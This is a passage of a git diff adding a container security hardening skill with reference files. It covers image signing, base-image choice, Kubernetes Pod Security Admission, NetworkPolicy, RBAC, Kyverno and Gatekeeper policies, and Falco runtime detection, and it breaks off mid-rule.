it +docker run --security-opt seccomp=references/seccomp-profile-template.json myapp:latest +``` + +See `references/seccomp-profile-template.json` for a minimal starting allowlist for typical web servers. + +### 3.5 AppArmor Profile (Linux hosts) + +```bash +# Load Docker's default AppArmor profile +sudo apparmor_parser -r /etc/apparmor.d/docker-default + +# Apply at runtime +docker run --security-opt apparmor=docker-default myapp:latest + +# Generate a custom profile +aa-genprof myapp # Interactive — run app under aa-complain mode first +``` + +--- + +## Layer 4: Supply Chain Security + +### 4.1 Sign Images with Cosign (Sigstore — Keyless) + +```bash +# Install cosign +brew install cosign # macOS +# or: https://github.com/sigstore/cosign/releases + +# Sign after push — keyless via OIDC (no long-lived keys) +cosign sign ghcr.io/org/myapp:latest + +# Verify before deploy +cosign verify ghcr.io/org/myapp:latest \ + --certificate-identity-regexp="https://github.com/org/repo" \ + --certificate-oidc-issuer="https://token.actions.githubusercontent.com" +``` + +**GitHub Actions — Sign & Verify Pipeline:** +```yaml +permissions: + id-token: write # Required for OIDC keyless signing + packages: write + +steps: + - uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0 + + - name: Sign image (keyless via OIDC) + run: | + cosign sign --yes \ + ghcr.io/${{ github.repository }}:${{ github.sha }} + env: + COSIGN_EXPERIMENTAL: "true" + + - name: Attach SBOM attestation + run: | + cosign attest --yes \ + --predicate sbom.json \ + --type cyclonedx \ + ghcr.io/${{ github.repository }}:${{ github.sha }} +``` + +### 4.2 SBOM Generation & Attestation + +```bash +# Generate SBOM with Syft +syft myapp:latest -o cyclonedx-json > sbom.json +syft myapp:latest -o spdx-json > sbom.spdx.json + +# Attach to image as attestation +cosign attest --predicate sbom.json --type cyclonedx ghcr.io/org/myapp:latest + +# Verify SBOM attestation before deployment +cosign verify-attestation \ + --type cyclonedx \ + --certificate-identity-regexp="https://github.com/org/repo" \ + --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \ + ghcr.io/org/myapp:latest +``` + +### 4.3 Use Trusted Registries & Enable Registry Scanning + +| Registry | Built-in Scanning | Notes | +|---|---|---| +| GHCR (GitHub Container Registry) | No (use Trivy in CI) | Best for OSS, OIDC auth | +| AWS ECR | Yes (enhanced scanning via Inspector) | Enable per-repo | +| GCP Artifact Registry | Yes (Container Analysis) | Enabled by default | +| Azure ACR | Yes (Defender for Containers) | Premium tier | +| Docker Hub | Yes (limited on free tier) | Avoid for private images | + +```bash +# Enable ECR enhanced scanning +aws ecr put-registry-scanning-configuration \ + --scan-type ENHANCED \ + --rules '[{"repositoryFilters":[{"filter":"*","filterType":"WILDCARD"}],"scanFrequency":"CONTINUOUS_SCAN"}]' +``` + +### 4.4 Admission Control — Block Unsigned/Unscanned Images + +```yaml +# Kyverno policy — require signed images before admission +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-signed-images +spec: + validationFailureAction: Enforce + rules: + - name: verify-image-signature + match: + resources: + kinds: [Pod] + verifyImages: + - imageReferences: + - "ghcr.io/org/*" + attestors: + - entries: + - keyless: + subject: "https://github.com/org/repo/.github/workflows/*" + issuer: "https://token.actions.githubusercontent.com" +``` + +--- + +## Layer 5: Kubernetes Pod Security + +> Full reference: `references/kubernetes-pod-security.md` + +### 5.1 Pod Security Context + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: myapp + namespace: production +spec: + replicas: 3 + template: + spec: + # ── Pod-level security context ───────────────────── + securityContext: + runAsNonRoot: true + runAsUser: 10001 + runAsGroup: 10001 + fsGroup: 10001 + fsGroupChangePolicy: OnRootMismatch + seccompProfile: + type: RuntimeDefault # Use containerd/runc default seccomp + supplementalGroups: [] + + automountServiceAccountToken: false # Disable unless needed + + # ── Container-level security context ────────────── + containers: + - name: app + image: ghcr.io/org/myapp@sha256: # Always use digest + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"] + add: [] # Add nothing unless absolutely required + runAsNonRoot: true + runAsUser: 10001 + seccompProfile: + type: RuntimeDefault + + # ── Resource limits (required for restricted PSA) ── + resources: + requests: + memory: "128Mi" + cpu: "100m" + limits: + memory: "512Mi" + cpu: "500m" + + # ── Writable tmpfs mounts ────────────────────── + volumeMounts: + - name: tmp + mountPath: /tmp + - name: varrun + mountPath: /var/run + + volumes: + - name: tmp + emptyDir: + medium: Memory + sizeLimit: 100Mi + - name: varrun + emptyDir: + medium: Memory + sizeLimit: 10Mi +``` + +### 5.2 Pod Security Admission (K8s 1.25+) + +```bash +# Audit existing workloads before enforcing +kubectl label namespace production \ + pod-security.kubernetes.io/audit=restricted \ + pod-security.kubernetes.io/audit-version=latest + +# Warn in staging, enforce in production +kubectl label namespace staging \ + pod-security.kubernetes.io/warn=restricted + +kubectl label namespace production \ + pod-security.kubernetes.io/enforce=restricted \ + pod-security.kubernetes.io/enforce-version=latest +``` + +| PSA Level | What It Blocks | +|---|---| +| `privileged` | No restrictions | +| `baseline` | Blocks hostNetwork, hostPID, privileged containers, hostPath | +| `restricted` | Also requires non-root, read-only FS, drops capabilities, seccomp | + +### 5.3 NetworkPolicy — Zero-Trust Networking + +```yaml +# Step 1: Deny all ingress and egress by default in the namespace +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny-all + namespace: production +spec: + podSelector: {} + policyTypes: [Ingress, Egress] + +--- +# Step 2: Selectively allow only required traffic +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-app + namespace: production +spec: + podSelector: + matchLabels: + app: myapp + policyTypes: [Ingress, Egress] + ingress: + - from: + - namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: ingress-nginx + podSelector: + matchLabels: + app.kubernetes.io/name: ingress-nginx + ports: + - port: 3000 + egress: + - to: + - podSelector: + matchLabels: + app: postgres + ports: + - port: 5432 + - to: # Allow only cluster DNS + - namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: kube-system + podSelector: + matchLabels: + k8s-app: kube-dns + ports: + - port: 53 + protocol: UDP + - port: 53 + protocol: TCP +``` + +### 5.4 RBAC — Least Privilege + +```yaml +# Create minimal role — never use wildcards +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: app-reader + namespace: production +rules: + - apiGroups: [""] + resources: ["configmaps", "secrets"] + resourceNames: ["myapp-config"] # Lock to specific resource names + verbs: ["get"] # Never ["*"] + +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: app-reader-binding + namespace: production +subjects: + - kind: ServiceAccount + name: myapp-sa + namespace: production +roleRef: + kind: Role + name: app-reader + apiGroup: rbac.authorization.k8s.io +``` + +```bash +# Audit what permissions a service account has +kubectl auth can-i --list --as=system:serviceaccount:production:myapp-sa + +# Find overly-permissive cluster roles +kubectl get clusterrolebindings -o json | \ + jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects' +``` + +### 5.5 Kyverno Policy Examples + +```yaml +# Require non-root containers +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-non-root +spec: + validationFailureAction: Enforce + rules: + - name: check-run-as-non-root + match: + resources: + kinds: [Pod] + validate: + message: "Containers must not run as root (runAsNonRoot: true required)" + pattern: + spec: + containers: + - securityContext: + runAsNonRoot: true + +--- +# Require image digest pinning +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-image-digest +spec: + validationFailureAction: Enforce + rules: + - name: check-digest + match: + resources: + kinds: [Pod] + validate: + message: "Images must be pinned to a SHA256 digest, not just a tag" + pattern: + spec: + containers: + - image: "*@sha256:*" + +--- +# Block privileged containers +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: disallow-privileged +spec: + validationFailureAction: Enforce + rules: + - name: check-privileged + match: + resources: + kinds: [Pod] + validate: + message: "Privileged containers are not allowed" + pattern: + spec: + containers: + - =(securityContext): + =(privileged): "false" +``` + +--- + +## Common Pitfalls & Fixes + +| Problem | Root Cause | Fix | +|---|---|---| +| Image runs as root | No `USER` directive | Add `RUN useradd ...` and `USER appuser` | +| Secret in `docker history` | `ENV` or `RUN curl -H "Bearer $TOKEN"` | Use `RUN --mount=type=secret` | +| Large image with many CVEs | Full base image (`node:20`, `ubuntu`) | Switch to `node:20-slim` or `distroless` | +| App crashes with `--read-only` | Writes to `/tmp` or app directory | Add `--tmpfs /tmp` for writable temp space | +| Trivy scan blocks CI on unfixable CVEs | No ignore file | Add `.trivyignore` with justified entries | +| Container needs `SYS_ADMIN` | Missing `--cap-drop` context | Investigate why — almost always avoidable | +| Tag-based images drift over time | Mutable tags | Pin to `@sha256:` digest; use Renovate to update | +| K8s pod rejected by PSA | Missing security context fields | Add `runAsNonRoot`, `readOnlyRootFilesystem`, `allowPrivilegeEscalation: false` | +| App can't write to filesystem | `readOnlyRootFilesystem: true` | Mount `emptyDir` volumes for writable paths | + +--- + +## Security Checklist + +### Dockerfile +- [ ] Minimal base image (distroless, slim, or alpine — not full debian/ubuntu) +- [ ] Multi-stage build — no build tools, devDependencies, or compilers in runtime image +- [ ] Non-root `USER` declared before `CMD`/`ENTRYPOINT` +- [ ] Base image pinned to `@sha256:...` digest (not just tag) +- [ ] No secrets in `ENV`, `ARG`, or `RUN` commands +- [ ] `HEALTHCHECK` defined +- [ ] OCI labels present (`org.opencontainers.image.*`) +- [ ] `.dockerignore` excludes `.git`, `.env`, secrets, tests +- [ ] `ENTRYPOINT` uses exec form, not shell form + +### Image Scanning +- [ ] Trivy or Grype scan in CI (fails on HIGH/CRITICAL) +- [ ] Hadolint passes with no warnings +- [ ] Secret scan run on image (`trivy --scanners secret`) +- [ ] SBOM generated and stored +- [ ] `.trivyignore` has justified entries for accepted CVEs + +### Runtime +- [ ] `--read-only` filesystem +- [ ] `--cap-drop ALL` (add back only what's documented as required) +- [ ] `--security-opt no-new-privileges:true` +- [ ] `--security-opt seccomp=` applied +- [ ] Resource limits set (`--memory`, `--cpus`, `--pids-limit`) +- [ ] Image signed with Cosign; verified before deploy + +### Kubernetes +- [ ] `readOnlyRootFilesystem: true` +- [ ] `allowPrivilegeEscalation: false` +- [ ] `runAsNonRoot: true` with explicit UID +- [ ] `capabilities.drop: ["ALL"]` +- [ ] Resource `requests` and `limits` defined +- [ ] `automountServiceAccountToken: false` +- [ ] Namespace PSA enforced at `restricted` level +- [ ] `NetworkPolicy` default-deny applied +- [ ] RBAC uses specific resource names and minimal verbs + +--- + +## Reference Files + +- `references/base-image-comparison.md` — Size, CVE count, shell/pkg-manager trade-offs: distroless vs alpine vs slim vs scratch +- `references/seccomp-profile-template.json` — Minimal syscall allowlist for typical web servers; start here and extend +- `references/kubernetes-pod-security.md` — NetworkPolicy, RBAC, OPA/Kyverno policies, service account hardening, PSA + +## Related Skills + +- `docker-expert` — General Docker usage, Compose orchestration, image optimization +- `gha-security-review` — Security audit of GitHub Actions workflows +- `github-actions-advanced` — CI pipeline patterns including scanner integration +- `kubernetes-architect` — Full Kubernetes architecture, not just security +- `api-security-best-practices` — Application-level security (injection, auth, OWASP) +- `k8s-security-policies` — Extended Kubernetes security policies + +## Limitations + +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific penetration testing or a formal security audit. +- Seccomp profiles and AppArmor are Linux-only; macOS/Windows Docker Desktop uses different mechanisms. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/container-security-hardening/references/base-image-comparison.md b/skills/container-security-hardening/references/base-image-comparison.md new file mode 100644 index 0000000000000000000000000000000000000000..360fc72c6ebf4a02f3b3420c2dc86dddd85cda3f --- /dev/null +++ b/skills/container-security-hardening/references/base-image-comparison.md @@ -0,0 +1,245 @@ +# Base Image Comparison Reference + +Quick decision guide for choosing the right container base image — balancing security, compatibility, size, and debuggability. + +--- + +## Quick Decision Matrix + +| Runtime / Need | Best Choice | Fallback | +|---|---|---| +| Go / Rust — fully static binary | `scratch` | `gcr.io/distroless/static-debian12` | +| Go / Rust — with CGO or dynamic libs | `gcr.io/distroless/base-debian12` | `alpine:3.20` | +| Node.js app (production) | `gcr.io/distroless/nodejs20-debian12` | `node:20-slim` | +| Python app (production) | `gcr.io/distroless/python3-debian12` | `python:3.12-slim` | +| Java app (production) | `gcr.io/distroless/java21-debian12` | `eclipse-temurin:21-jre-alpine` | +| Shell scripts required | `alpine:3.20` | `debian:12-slim` | +| musl compatibility issue | `node:20-slim` (glibc) | `debian:12-slim` | +| Debugging in staging | distroless `:debug` variant | `ubuntu:24.04` (temporary) | + +--- + +## Size & CVE Comparison + +> Approximate values as of mid-2025. Run `trivy image ` for current counts. + +| Image | Compressed Size | Typical CVE Count | Shell | Package Manager | libc | +|---|---|---|---|---|---| +| `scratch` | 0 MB | 0 | No | No | None | +| `gcr.io/distroless/static-debian12` | ~2 MB | 0–2 | No | No | None | +| `gcr.io/distroless/base-debian12` | ~20 MB | 0–3 | No | No | glibc | +| `gcr.io/distroless/nodejs20-debian12` | ~55 MB | 0–5 | No | No | glibc | +| `gcr.io/distroless/python3-debian12` | ~50 MB | 0–5 | No | No | glibc | +| `gcr.io/distroless/java21-debian12` | ~220 MB | 0–5 | No | No | glibc | +| `alpine:3.20` | ~3.5 MB | 0–5 | Yes (ash) | Yes (apk) | musl | +| `node:20-alpine` | ~65 MB | 5–20 | Yes | Yes | musl | +| `python:3.12-alpine` | ~55 MB | 5–20 | Yes | Yes | musl | +| `node:20-slim` | ~90 MB | 15–40 | Yes | Yes (minimal apt) | glibc | +| `python:3.12-slim` | ~60 MB | 15–40 | Yes | Yes (minimal apt) | glibc | +| `eclipse-temurin:21-jre-alpine` | ~180 MB | 5–20 | Yes | Yes | musl | +| `node:20` (full) | ~370 MB | 80–200 | Yes | Yes (full apt) | glibc | +| `ubuntu:24.04` | ~30 MB | 20–60 | Yes | Yes (full apt) | glibc | +| `ubuntu:24.04` (full packages) | ~200 MB+ | 50–150 | Yes | Yes | glibc | + +--- + +## Detailed Trade-offs + +### `scratch` +**Best for:** Go, Rust, or any fully static binary with `CGO_ENABLED=0` + +- ✅ Zero attack surface — literally empty +- ✅ Smallest possible image +- ✅ No package manager to exploit +- ❌ No libc, no shell, no CA certs, no timezone data — must `COPY` them in +- ❌ Cannot exec into for debugging (no shell at all) + +```dockerfile +FROM golang:1.22-alpine AS builder +WORKDIR /build +COPY go.* ./ +RUN go mod download +COPY . . +RUN CGO_ENABLED=0 GOOS=linux go build \ + -ldflags="-s -w -extldflags=-static" \ + -o app . + +FROM scratch +# Copy CA certs for HTTPS calls +COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ +# Copy timezone data if needed +COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo +COPY --from=builder /build/app /app +USER 65532:65532 +ENTRYPOINT ["/app"] +``` + +--- + +### `gcr.io/distroless` (Google) +**Best for:** Production Node.js, Python, Java, Go (with CGO) + +- ✅ No shell, no package manager — dramatically reduced attack surface +- ✅ Includes CA certs and tzdata by default +- ✅ Built-in `nonroot` user (UID 65532) +- ✅ Based on Debian — glibc compatibility (no musl issues) +- ✅ Regularly patched by Google +- ❌ Cannot exec into with `docker exec -it` (no shell) — use `:debug` variant for staging + +```bash +# Available distroless variants +gcr.io/distroless/static-debian12 # No libc — for fully static binaries +gcr.io/distroless/base-debian12 # glibc + openssl — for dynamic Go/Rust +gcr.io/distroless/nodejs20-debian12 # Node.js 20 runtime +gcr.io/distroless/nodejs22-debian12 # Node.js 22 runtime +gcr.io/distroless/python3-debian12 # Python 3 runtime +gcr.io/distroless/java21-debian12 # JRE 21 +gcr.io/distroless/cc-debian12 # C/C++ runtime + +# Debug variants — include busybox shell for staging only +gcr.io/distroless/nodejs20-debian12:debug +gcr.io/distroless/python3-debian12:debug +``` + +**Debugging a distroless container (staging only):** +```bash +# Use a sidecar debug container instead of modifying the production image +kubectl debug -it deploy/myapp \ + --image=busybox \ + --target=app \ + --copy-to=debug-pod +``` + +--- + +### `alpine` +**Best for:** Images where a shell is required, or when image size is a primary concern + +- ✅ Very small (~3.5 MB) +- ✅ Has shell (ash) and package manager (apk) — great for debugging +- ✅ Regularly patched, active community +- ⚠️ Uses **musl libc** — some Python C extensions, Node.js native modules, or glibc-dependent binaries may fail +- ❌ More CVEs than distroless (more packages) + +**musl compatibility check:** +```bash +# Test your app on alpine before committing +docker run -it --rm -v $(pwd):/app node:20-alpine sh -c "cd /app && npm ci && npm test" +``` + +**Common musl issues:** +- `bcrypt`, `node-gyp`, `sharp`, `canvas` native modules → may need build tools +- Python with `numpy`, `scipy`, `pandas` → use `python:3.12-slim` instead +- Java apps → generally fine, but test thoroughly + +--- + +### `slim` variants (Debian-based) +**Best for:** Apps with glibc dependencies that can't use distroless + +- ✅ glibc compatibility — no musl issues +- ✅ Familiar `apt` ecosystem +- ✅ Smaller than full image (~60–90 MB vs 300–400 MB) +- ❌ More CVEs than distroless (has apt, shell, more system libraries) +- ❌ Larger than alpine + +```dockerfile +FROM node:20-slim +# Install only what's needed and clean up in the same layer +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + libssl3 \ + && rm -rf /var/lib/apt/lists/* +``` + +--- + +### Full Images (`node:20`, `ubuntu:24.04`, `python:3.12`) +**Only for:** Development, CI build stages, or debugging — NEVER as production runtime + +- ❌ Massive attack surface (50–200+ CVEs) +- ❌ Includes compilers, build tools, package managers — not needed at runtime +- ❌ Huge size increases pull time and storage costs + +Use as a build stage only: +```dockerfile +FROM node:20 AS builder # Full image for building +FROM node:20-slim AS runtime # Slim image for production +``` + +--- + +## Keeping Base Images Updated + +**The most common source of container CVEs is outdated base images.** + +### Manual Check +```bash +# Pull latest and check digest +docker pull node:20-slim +docker inspect node:20-slim --format='{{index .RepoDigests 0}}' + +# Check for CVEs in current base before updating +trivy image node:20-slim --severity HIGH,CRITICAL +``` + +### Automate with Renovate (Recommended) +```json +// .renovaterc.json +{ + "extends": ["config:base"], + "dockerfile": { + "enabled": true, + "pinDigests": true + }, + "packageRules": [ + { + "matchDatasources": ["docker"], + "matchPackagePatterns": ["^gcr.io/distroless"], + "automerge": true, + "automergeType": "branch" + } + ] +} +``` + +### Automate with Dependabot +```yaml +# .github/dependabot.yml +version: 2 +updates: + - package-ecosystem: "docker" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 5 +``` + +--- + +## Distroless Digest Pinning Reference + +Always pin to digest. Check current digests at: +- `gcr.io/distroless/nodejs20-debian12` → `docker pull gcr.io/distroless/nodejs20-debian12 && docker inspect gcr.io/distroless/nodejs20-debian12 --format='{{index .RepoDigests 0}}'` +- Use [Google's distroless tags page](https://github.com/GoogleContainerTools/distroless/blob/main/README.md) for latest releases + +--- + +## Image Size Reduction Checklist + +When an image is too large: + +- [ ] Switched to distroless or alpine runtime stage? +- [ ] Multi-stage build separating build from runtime? +- [ ] `npm ci --only=production` / `pip install --no-dev`? +- [ ] Build cache cleaned in same `RUN` layer (`rm -rf /var/lib/apt/lists/*`, `npm cache clean --force`)? +- [ ] `.dockerignore` excludes `node_modules`, `.git`, `tests/`, `docs/`? +- [ ] Using `--mount=type=cache` for package manager cache (BuildKit)? +- [ ] Only necessary files `COPY`-ed into runtime stage? +- [ ] No debug tools in production image? + +```bash +# Analyze image layers to find what's taking space +docker history --no-trunc myapp:latest +dive myapp:latest # Interactive layer explorer: https://github.com/wagoodman/dive +``` diff --git a/skills/container-security-hardening/references/kubernetes-pod-security.md b/skills/container-security-hardening/references/kubernetes-pod-security.md new file mode 100644 index 0000000000000000000000000000000000000000..a2199b5fe5b731bcbd2aea802046fabac333798d --- /dev/null +++ b/skills/container-security-hardening/references/kubernetes-pod-security.md @@ -0,0 +1,567 @@ +# Kubernetes Pod Security Reference + +Full reference for hardening workloads in Kubernetes — NetworkPolicy, RBAC, Pod Security Admission, admission controllers (Kyverno/OPA), and service account hardening. + +## Table of Contents + +1. [Pod Security Admission (PSA)](#pod-security-admission) +2. [NetworkPolicy — Zero-Trust Networking](#networkpolicy) +3. [RBAC — Least Privilege](#rbac) +4. [Admission Controllers (Kyverno / OPA Gatekeeper)](#admission-controllers) +5. [Service Account Hardening](#service-account-hardening) +6. [Runtime Security — Falco](#runtime-security--falco) +7. [Secrets Management in K8s](#secrets-management-in-k8s) + +--- + +## Pod Security Admission + +Built-in K8s 1.25+ policy engine (replaces deprecated PodSecurityPolicy). + +### Three Built-In Policy Levels + +| Level | What It Blocks | +|---|---| +| `privileged` | No restrictions (cluster default) | +| `baseline` | Blocks hostNetwork, hostPID, hostIPC, privileged containers, dangerous volume types, hostPath | +| `restricted` | Everything in baseline + requires non-root, read-only FS, drops capabilities, requires seccomp | + +### Three Modes Per Level + +| Mode | Behavior | +|---|---| +| `enforce` | Reject pods that violate the policy | +| `audit` | Allow but log a violation in audit log | +| `warn` | Allow but return a warning to the user | + +### Applying PSA Labels + +```bash +# Audit before enforcing — find what would fail +kubectl label namespace production \ + pod-security.kubernetes.io/audit=restricted \ + pod-security.kubernetes.io/audit-version=latest + +# Gradual rollout: warn in staging, enforce in production +kubectl label namespace staging \ + pod-security.kubernetes.io/warn=restricted \ + pod-security.kubernetes.io/warn-version=latest + +kubectl label namespace production \ + pod-security.kubernetes.io/enforce=restricted \ + pod-security.kubernetes.io/enforce-version=latest +``` + +### Check What Would Fail Before Enforcing + +```bash +# Dry-run check against a namespace +kubectl --dry-run=server apply -f manifests/ --namespace production + +# Check a specific pod spec +kubectl run test-pod --image=nginx --dry-run=server -n production +``` + +### Minimum Pod Spec for `restricted` Level + +```yaml +spec: + securityContext: + runAsNonRoot: true + runAsUser: 10001 + runAsGroup: 10001 + fsGroup: 10001 + seccompProfile: + type: RuntimeDefault # or Localhost with a custom profile + containers: + - name: app + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"] + # Resource limits are required for restricted PSA + resources: + requests: + memory: "64Mi" + cpu: "50m" + limits: + memory: "256Mi" + cpu: "250m" +``` + +--- + +## NetworkPolicy — Zero-Trust Networking + +By default all pods in a cluster can reach all other pods on any port. Lock down with NetworkPolicy. + +> **Prerequisite:** Your CNI plugin must support NetworkPolicy (Calico, Cilium, Weave Net — but NOT Flannel by default). + +### Step 1: Default Deny All + +Apply a default-deny to every namespace that holds workloads: + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny-all + namespace: production +spec: + podSelector: {} # Selects all pods in this namespace + policyTypes: + - Ingress + - Egress +``` + +### Step 2: Allow Only Required Traffic + +```yaml +# Allow ingress from nginx ingress controller, egress to postgres + DNS +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-myapp + namespace: production +spec: + podSelector: + matchLabels: + app: myapp + policyTypes: + - Ingress + - Egress + ingress: + - from: + - namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: ingress-nginx + podSelector: + matchLabels: + app.kubernetes.io/name: ingress-nginx + ports: + - protocol: TCP + port: 3000 + egress: + - to: + - podSelector: + matchLabels: + app: postgres + namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: production + ports: + - protocol: TCP + port: 5432 + - to: # Allow DNS resolution to cluster DNS only + - namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: kube-system + podSelector: + matchLabels: + k8s-app: kube-dns + ports: + - protocol: UDP + port: 53 + - protocol: TCP + port: 53 +``` + +### Allow Access to External Services (e.g., cloud APIs) + +```yaml +egress: + - to: + - ipBlock: + cidr: 0.0.0.0/0 # All external IPs + except: + - 10.0.0.0/8 # But not internal cluster ranges + - 172.16.0.0/12 + - 192.168.0.0/16 + ports: + - protocol: TCP + port: 443 # HTTPS only +``` + +### Validate NetworkPolicy with Cilium or Calico CLI + +```bash +# Cilium — test connectivity between pods +cilium connectivity test + +# Calico — list effective policies +kubectl exec -it deploy/myapp -- calicoctl get networkpolicy -n production +``` + +--- + +## RBAC — Least Privilege + +### Principle: Scope Narrowly, Avoid Wildcards + +```yaml +# ❌ DANGEROUS — grants everything to everything +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: full-admin +subjects: + - kind: ServiceAccount + name: myapp-sa + namespace: production +roleRef: + kind: ClusterRole + name: cluster-admin + apiGroup: rbac.authorization.k8s.io + +--- +# ✅ CORRECT — minimal namespace-scoped role with specific resource names +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: myapp-role + namespace: production +rules: + - apiGroups: [""] + resources: ["configmaps"] + resourceNames: ["myapp-config"] # Lock to specific named resources + verbs: ["get", "list"] # Never ["*"] + - apiGroups: [""] + resources: ["secrets"] + resourceNames: ["myapp-db-creds"] + verbs: ["get"] + +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: myapp-rolebinding + namespace: production +subjects: + - kind: ServiceAccount + name: myapp-sa + namespace: production +roleRef: + kind: Role + name: myapp-role + apiGroup: rbac.authorization.k8s.io +``` + +### Audit RBAC + +```bash +# What can a service account do? +kubectl auth can-i --list \ + --as=system:serviceaccount:production:myapp-sa \ + -n production + +# Find all cluster-admin bindings (security anti-pattern) +kubectl get clusterrolebindings -o json | \ + jq '.items[] | select(.roleRef.name=="cluster-admin") | {name:.metadata.name, subjects:.subjects}' + +# Find overly broad wildcard permissions +kubectl get roles,clusterroles -A -o json | \ + jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name' + +# Use rbac-tool for a full audit +kubectl rbac-tool who-can get secrets -n production +``` + +--- + +## Admission Controllers + +### Kyverno (Policy as Kubernetes Resources) + +Kyverno validates, mutates, and generates resources — no Rego knowledge required. + +```bash +# Install Kyverno +helm repo add kyverno https://kyverno.github.io/kyverno/ +helm install kyverno kyverno/kyverno -n kyverno --create-namespace +``` + +**Essential Policies:** + +```yaml +# 1. Require non-root containers +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-non-root +spec: + validationFailureAction: Enforce + rules: + - name: check-run-as-non-root + match: + resources: + kinds: [Pod] + validate: + message: "runAsNonRoot: true is required" + pattern: + spec: + containers: + - securityContext: + runAsNonRoot: true + +--- +# 2. Require image digest pinning +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-image-digest +spec: + validationFailureAction: Enforce + rules: + - name: check-digest + match: + resources: + kinds: [Pod] + validate: + message: "Images must use @sha256: digest, not floating tags" + pattern: + spec: + containers: + - image: "*@sha256:*" + +--- +# 3. Disallow privileged containers +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: disallow-privileged +spec: + validationFailureAction: Enforce + rules: + - name: check-privileged + match: + resources: + kinds: [Pod] + validate: + message: "Privileged containers are not allowed" + pattern: + spec: + containers: + - =(securityContext): + =(privileged): "false" + +--- +# 4. Require resource limits (prevents resource starvation) +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: require-resource-limits +spec: + validationFailureAction: Enforce + rules: + - name: check-limits + match: + resources: + kinds: [Pod] + validate: + message: "Resource limits (memory and cpu) must be set" + pattern: + spec: + containers: + - resources: + limits: + memory: "?*" + cpu: "?*" + +--- +# 5. Auto-mutate: add drop ALL capabilities if not set +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: drop-all-capabilities +spec: + rules: + - name: add-drop-all + match: + resources: + kinds: [Pod] + mutate: + patchStrategicMerge: + spec: + containers: + - (name): "*" + securityContext: + capabilities: + drop: ["ALL"] +``` + +### OPA Gatekeeper (Policy as Rego) + +```bash +# Install Gatekeeper +kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/release-3.17/deploy/gatekeeper.yaml +``` + +```yaml +# ConstraintTemplate — define the Rego policy +apiVersion: templates.gatekeeper.sh/v1 +kind: ConstraintTemplate +metadata: + name: k8srequiredlabels +spec: + crd: + spec: + names: + kind: K8sRequiredLabels + validation: + openAPIV3Schema: + properties: + labels: + type: array + items: + type: string + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8srequiredlabels + violation[{"msg": msg}] { + provided := {label | input.review.object.metadata.labels[label]} + required := {label | label := input.parameters.labels[_]} + missing := required - provided + count(missing) > 0 + msg := sprintf("Missing required labels: %v", [missing]) + } + +--- +# Constraint — apply the policy +apiVersion: constraints.gatekeeper.sh/v1beta1 +kind: K8sRequiredLabels +metadata: + name: require-app-label +spec: + enforcementAction: deny + match: + kinds: + - apiGroups: ["apps"] + kinds: ["Deployment"] + parameters: + labels: ["app", "version", "owner"] +``` + +--- + +## Service Account Hardening + +```yaml +# Dedicated service account per workload (never use 'default') +apiVersion: v1 +kind: ServiceAccount +metadata: + name: myapp-sa + namespace: production + annotations: + # EKS — IAM Roles for Service Accounts (IRSA) + eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/myapp-role + # GKE — Workload Identity + iam.gke.io/gcp-service-account: myapp@my-project.iam.gserviceaccount.com +automountServiceAccountToken: false # Disable unless app calls K8s API + +--- +# In the pod spec — also disable token mounting +spec: + serviceAccountName: myapp-sa + automountServiceAccountToken: false +``` + +**Why use Workload Identity instead of K8s Secrets for cloud credentials?** +- Credentials are short-lived (1h) and auto-rotated +- No secret to leak, rotate, or store +- Audit trail tied to workload identity, not a shared key + +--- + +## Runtime Security — Falco + +Falco detects anomalous runtime behaviour (unexpected syscalls, network connections, file reads). + +```bash +# Install via Helm +helm repo add falcosecurity https://falcosecurity.github.io/charts +helm install falco falcosecurity/falco \ + --namespace falco --create-namespace \ + --set falco.grpc.enabled=true \ + --set falco.grpcOutput.enabled=true +``` + +**Example rules:** + +```yaml +# Alert on shell spawned inside a container +- rule: Terminal shell in container + desc: A shell was spawned in a container with an attached terminal + condition: > + spawned_process and container + and shell_procs and proc.tty != 0 + and container_entrypoint + output: > + Shell spawned in a container 